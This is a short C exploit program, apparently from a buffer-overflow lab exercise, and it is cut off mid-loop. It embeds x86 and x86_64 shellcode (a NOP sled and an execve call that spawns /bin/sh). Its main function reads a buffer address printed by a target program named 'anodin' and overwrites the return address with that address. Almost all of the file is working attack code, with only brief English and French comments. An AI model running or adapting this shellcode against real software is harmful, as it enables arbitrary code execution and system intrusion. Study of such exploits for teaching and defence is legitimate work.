#include #include unsigned char exploit[1024] = { 0x90, 0x90, 0x90, 0x90, // A few nops for some margin 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, #ifdef __x86_64__ /* 64 bit version */ 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next '/','b','i','n','/','s','h','\0', 0x5f, // pop the address 0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, // execve system call 0x6a, 0x00, // push NULL at the end of the array 0x48, 0x89, 0xe2, // envp 0x57, // push adress 0x48, 0x89, 0xe6, // argv 0x0f, 0x05, // system call! #else /* 32 bit version */ 0xe8, 0x08, 0x00, 0x00, 0x00, // push the address of what is next '/','b','i','n','/','s','h','\0', 0x5b, // pop the adress 0xb8, 0x0b, 0x00, 0x00, 0x00, // execve system call 0x6a, 0x00, // push NULL at the end of the array 0x89, 0xe2, // envp 0x53, // push adress 0x89, 0xe1, // argv 0xcd, 0x80, // system call! #endif }; int main(void) { int i; void **exploit_ptr = (void*) &exploit; void *ptr; fprintf(stderr,"Type the buf address printed by anodin\n"); scanf("%p", &ptr); // Un peu de marge ptr += 8; // écraser l'adresse de retour for (i = 0; i < 8; i++) exploit_ptr[64/sizeof(void*)+i] = ptr; for (i=0;i